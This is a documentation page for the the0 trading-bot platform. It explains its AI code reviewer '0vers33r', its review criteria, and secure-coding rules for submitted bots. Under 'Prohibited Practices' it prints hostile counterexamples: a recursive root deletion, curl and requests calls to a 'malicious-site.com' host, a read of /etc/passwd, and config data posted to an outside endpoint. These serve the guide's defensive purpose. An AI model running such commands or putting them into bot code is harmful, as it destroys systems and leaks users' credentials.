Compliance and Code Review

All custom bots on the the0 platform undergo rigorous automated code review by our AI system the 0vers33r. This guide explains the compliance requirements and review process to ensure your bots meet platform standards.

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0vers33r AI Code Reviewer

Overview

0vers33r is an AI Code Reviewer that analyzes every custom bot submission for:

• Security vulnerabilities
• Performance efficiency
• Risk management practices
• Compliance with trading standards
• Code quality and best practices

Review Criteria

1. Security Assessment (Very Strict)

• No hardcoded sensitive information
• Secure coding practices enforced
• Prevention of common vulnerabilities
• Proper authentication handling

2. Genuineness Verification (Very Strict)

• Must be legitimate trading algorithms
• No malicious or deceptive code
• Authentic trading purpose

3. Performance Evaluation (Strict)

• Code efficiency analysis
• Resource usage optimization
• Scalability considerations

4. Standards Adherence (Generous)

• Following platform conventions
• Proper entry point implementation
• Configuration best practices

Security Compliance Requirements

✅ Required Security Practices

1. No Hardcoded Secrets

# ❌ NEVER DO THIS
API_KEY = "your-actual-api-key"
SECRET = "your-actual-secret"

# ✅ USE CONFIGURATION PARAMETERS
def main(id: str, config: Dict[str, Any]) -> Dict[str, Any]:
    api_key = config.get('api_key')
    if not api_key:
        return {"status": "error", "message": "API key required"}

2. Proper Error Handling

# ✅ SECURE ERROR HANDLING
try:
    result = exchange.fetch_ticker(symbol)
    return {"status": "success", "data": result}
except ccxt.AuthenticationError:
    return {"status": "error", "message": "Authentication failed"}
except ccxt.NetworkError:
    return {"status": "error", "message": "Network error occurred"}
except Exception as e:
    # Don't expose internal details
    return {"status": "error", "message": "Execution failed"}

3. Input Validation

# ✅ VALIDATE ALL INPUTS
def validate_config(config: Dict[str, Any]) -> bool:
    required_fields = ['symbol', 'api_key', 'api_secret']
    for field in required_fields:
        if field not in config:
            return False

    # Validate symbol format
    symbol = config['symbol']
    if not re.match(r'^[A-Z]{3,10}$', symbol):
        return False

    return True

4. Secure Logging

# ✅ SECURE LOGGING
import logging

logger = logging.getLogger(__name__)

def main(id: str, config: Dict[str, Any]) -> Dict[str, Any]:
    # Never log sensitive data
    logger.info(f"Bot {id} starting for symbol {config.get('symbol')}")
    # DON'T log: api_key, api_secret, passwords

❌ Prohibited Practices

1. System Commands

# ❌ NEVER USE SYSTEM COMMANDS
import os
import subprocess

os.system("rm -rf /")  # PROHIBITED
subprocess.run(["curl", "malicious-site.com"])  # PROHIBITED

2. File System Access

# ❌ AVOID UNAUTHORIZED FILE ACCESS
with open('/etc/passwd', 'r') as f:  # PROHIBITED
    content = f.read()

# Limited file operations may be allowed for legitimate trading data

3. Network Requests to Unauthorized Endpoints

# ❌ UNAUTHORIZED NETWORK ACCESS
import requests

# Only exchange APIs and legitimate data sources allowed
requests.get("http://malicious-site.com")  # PROHIBITED

4. Data Persistence Without Authorization

# ❌ UNAUTHORIZED DATA STORAGE
import pickle
import sqlite3
import request

# Don't persist user configurations or sensitive data
with open('user_data.pkl', 'wb') as f:  # REVIEW REQUIRED
    pickle.dump(config, f)

sqlite_conn = sqlite3.connect('user_data.db')
sqlite_conn.execute("INSERT INTO users (config) VALUES (?)", (config,))  # UNAUTHORIZED
response = requests.post("http://example.com/api/save", json=config)  # UNAUTHORIZED

Code Review Process

Submission Flow

1. Upload: Bot files uploaded via CLI
2. 0vers33r Review: AI analysis of code quality and compliance
3. Scoring: Evaluation across all criteria
4. Approval/Rejection: Decision based on compliance scores

Review Timeline

• Automated Reviews: 5-15 minutes

Common Review Issues

Frequent Rejection Reasons

1. Hardcoded Credentials (Security: 0/100)
2. Missing Error Handling (Security: 20-40/100)
3. Inappropriate API Usage (Performance: 30-50/100)
4. Non-standard Entry Points (Standards: 0-30/100)
5. Insufficient Input Validation (Security: 40-60/100)

Improving Review Success

Pre-submission Checklist

• All credentials passed via config parameters
• Comprehensive error handling implemented
• Input validation for all user parameters
• Standard entry point signatures used
• No system commands or file system access
• Efficient algorithms and API usage
• Proper logging without sensitive data
• Risk management controls implemented

Testing Before Submission

# Run local validation
python -m py_compile main.py backtest.py
python -c "import json; json.load(open('bot-schema.json'))"
python -c "import yaml; yaml.safe_load(open('bot-config.yaml'))"

# Security scan
grep -r "api_key\|secret\|password" . --exclude-dir=.git

Appeals and Revisions

If Your Bot is Rejected

1. Review Feedback: Examine detailed 0vers33r feedback
2. Address Issues: Fix identified problems
3. Test Changes: Validate fixes locally
4. Resubmit: Upload revised version
5. Contact Support: If needed, reach out for assistance at [email protected]

Best Practices for Success

1. Start Simple: Begin with basic, compliant implementations
2. Incremental Complexity: Add features gradually
3. Test Thoroughly: Validate all functionality locally
4. Follow Examples: Use platform-provided examples as templates
5. Security First: Prioritize security over features

Understanding and following these compliance requirements is essential for successful custom bot deployment on the the0 platform. The 0vers33r system ensures all bots meet professional standards while maintaining security and reliability for all users.